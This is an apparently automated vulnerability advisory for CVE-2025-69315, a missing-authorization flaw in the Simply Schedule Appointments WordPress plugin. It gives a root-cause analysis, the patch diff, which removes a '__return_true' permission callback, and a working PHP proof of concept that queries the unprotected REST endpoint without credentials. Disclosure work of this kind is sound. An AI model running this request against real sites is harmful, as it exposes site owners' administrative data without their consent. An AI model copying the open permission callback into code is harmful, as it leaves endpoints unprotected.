Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69315: Simply Schedule Appointments <= 1.6.9.15 – Missing Authorization (simply-schedule-appointments)

CVE ID CVE-2025-69315
Plugin simply-schedule-appointments
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.6.9.15
Patched Version 1.6.9.17
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69315:
The Simply Schedule Appointments WordPress plugin, versions up to and including 1.6.9.15, contains a missing authorization vulnerability in its REST API endpoint for retrieving embedded admin output. This flaw allows unauthenticated attackers to perform unauthorized actions, leading to potential information disclosure. The CVSS score of 5.3 reflects a medium severity impact.

Atomic Edge research identifies the root cause as an improper permission callback on a REST API route registration. In the vulnerable file `simply-schedule-appointments/includes/class-shortcodes.php`, the `register_rest_route` function for the `embed-inner-admin-output` endpoint (line 906) sets its `permission_callback` to `’__return_true’`. This configuration allows any request, regardless of authentication status, to invoke the associated `get_embed_inner_admin_output` callback function.

The exploitation method involves sending a GET request to the specific WordPress REST API endpoint. Attackers can target the route `/wp-json/simply-schedule-appointments/v1/embed-inner-admin-output`. No special parameters or authentication headers are required. The request directly triggers the `get_embed_inner_admin_output` function, which is intended only for users with administrative capabilities for the plugin.

The patch, applied in version 1.6.9.17, replaces the `’__return_true’` permission callback with a call to a new method: `array( $this, ‘current_user_can_manage_appointments’ )`. This new method, defined on lines 913-915, performs a proper capability check using `current_user_can( ‘ssa_manage_appointments’ )`. The fix ensures the REST endpoint only executes for users possessing the `ssa_manage_appointments` capability, effectively blocking unauthenticated and unauthorized access.

Successful exploitation of this vulnerability allows unauthenticated attackers to trigger the `get_embed_inner_admin_output` function. Atomic Edge analysis indicates this could lead to unauthorized retrieval of administrative interface data or internal plugin information. The exact impact depends on the logic within the callback function, but it constitutes a clear violation of authorization boundaries and could facilitate further reconnaissance or attack chain development.

Differential between vulnerable and patched code

Code Diff 
--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
 	 *
 	 * @var string The plugin version.
 	 */
-	const VERSION = '1.6.9.15';
+	const VERSION = '1.6.9.17';

 	/**
 	 * Minimum Elementor Version
@@ -29,7 +29,7 @@
 	 *
 	 * @var string Minimum Elementor version required to run the plugin.
 	 */
-	const MINIMUM_ELEMENTOR_VERSION = '1.6.9.15';
+	const MINIMUM_ELEMENTOR_VERSION = '1.6.9.17';

 	/**
 	 * Minimum PHP Version
@@ -38,7 +38,7 @@
 	 *
 	 * @var string Minimum PHP version required to run the plugin.
 	 */
-	const MINIMUM_PHP_VERSION = '1.6.9.15';
+	const MINIMUM_PHP_VERSION = '1.6.9.17';

 	/**
 	 * Instance
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
 	 *  @package    PHP-PayPal-IPN
 	 *  @author     Micah Carrick
 	 *  @copyright  (c) 2011 - Micah Carrick
-	 *  @version    1.6.9.15
+	 *  @version    1.6.9.17
 	 *  @license    http://opensource.org/licenses/gpl-3.0.html
 	 */

--- a/simply-schedule-appointments/includes/class-shortcodes.php
+++ b/simply-schedule-appointments/includes/class-shortcodes.php
@@ -906,12 +906,16 @@
 				array(
 					'methods'             => WP_REST_Server::READABLE,
 					'callback'            => array( $this, 'get_embed_inner_admin_output' ),
-					'permission_callback' => '__return_true',
+					'permission_callback' => array( $this, 'current_user_can_manage_appointments' ),
 					'args'                => array(),
 				),
 			)
 		);
 	}
+
+	public function current_user_can_manage_appointments() {
+		return current_user_can( 'ssa_manage_appointments' );
+	}

 	/**
 	 * Takes $_REQUEST params and returns the booking shortcode output.
--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simply Schedule Appointments
  * Plugin URI:  https://simplyscheduleappointments.com
  * Description: Easy appointment scheduling
- * Version:     1.6.9.15
+ * Version:     1.6.9.17
  * Requires PHP: 7.4
  * Author:      NSquared
  * Author URI:  https://nsquared.io/
@@ -15,7 +15,7 @@
  * @link    https://simplyscheduleappointments.com
  *
  * @package Simply_Schedule_Appointments
- * @version 1.6.9.15
+ * @version 1.6.9.17
  *
  * Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
  */
@@ -206,7 +206,7 @@
 	 * @var    string
 	 * @since  0.0.0
 	 */
-	const VERSION = '1.6.9.15';
+	const VERSION = '1.6.9.17';

 	/**
 	 * URL of plugin directory.
--- a/simply-schedule-appointments/vendor/composer/autoload_static.php
+++ b/simply-schedule-appointments/vendor/composer/autoload_static.php
@@ -20,54 +20,54 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'T' =>
+        'T' =>
         array (
             'Twig\' => 5,
         ),
-        'S' =>
+        'S' =>
         array (
             'Symfony\Polyfill\Php81\' => 23,
             'Symfony\Polyfill\Php80\' => 23,
             'Symfony\Polyfill\Mbstring\' => 26,
             'Symfony\Polyfill\Ctype\' => 23,
         ),
-        'L' =>
+        'L' =>
         array (
             'League\Period\' => 14,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'Twig\' =>
+        'Twig\' =>
         array (
             0 => __DIR__ . '/..' . '/twig/twig/src',
         ),
-        'Symfony\Polyfill\Php81\' =>
+        'Symfony\Polyfill\Php81\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-php81',
         ),
-        'Symfony\Polyfill\Php80\' =>
+        'Symfony\Polyfill\Php80\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-php80',
         ),
-        'Symfony\Polyfill\Mbstring\' =>
+        'Symfony\Polyfill\Mbstring\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-mbstring',
         ),
-        'Symfony\Polyfill\Ctype\' =>
+        'Symfony\Polyfill\Ctype\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-ctype',
         ),
-        'League\Period\' =>
+        'League\Period\' =>
         array (
             0 => __DIR__ . '/..' . '/league/period/src',
         ),
     );

     public static $prefixesPsr0 = array (
-        'N' =>
+        'N' =>
         array (
-            'NSquared\SSA\Vendor\' =>
+            'NSquared\SSA\Vendor\' =>
             array (
                 0 => __DIR__ . '/../..' . '/includes/third-party',
             ),
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'd33645ebb48e1d8636b43dbd21319fbcd2aff174',
+        'reference' => 'e19fca4916d336a1fd7b5946be90b22df58fb8c9',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'd33645ebb48e1d8636b43dbd21319fbcd2aff174',
+            'reference' => 'e19fca4916d336a1fd7b5946be90b22df58fb8c9',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69315 - Simply Schedule Appointments <= 1.6.9.15 - Missing Authorization

<?php

$target_url = 'http://example.com/wp-json/simply-schedule-appointments/v1/embed-inner-admin-output';

// Initialize cURL session
$ch = curl_init();

// Set the target URL for the vulnerable REST endpoint
curl_setopt($ch, CURLOPT_URL, $target_url);

// Use GET method as defined by the WP_REST_Server::READABLE constant
curl_setopt($ch, CURLOPT_HTTPGET, true);

// Return the response as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Follow redirects if any
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request (no authentication required)
$response = curl_exec($ch);

// Get the HTTP status code
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Close cURL session
curl_close($ch);

// Output results
if ($http_code == 200 && !empty($response)) {
    echo "[+] SUCCESS: Unauthorized access to admin endpoint confirmed.n";
    echo "[+] HTTP Status: $http_coden";
    echo "[+] Response Preview: " . substr($response, 0, 500) . "n";
} else {
    echo "[-] Request failed or endpoint may be patched.n";
    echo "[-] HTTP Status: $http_coden";
}

?>

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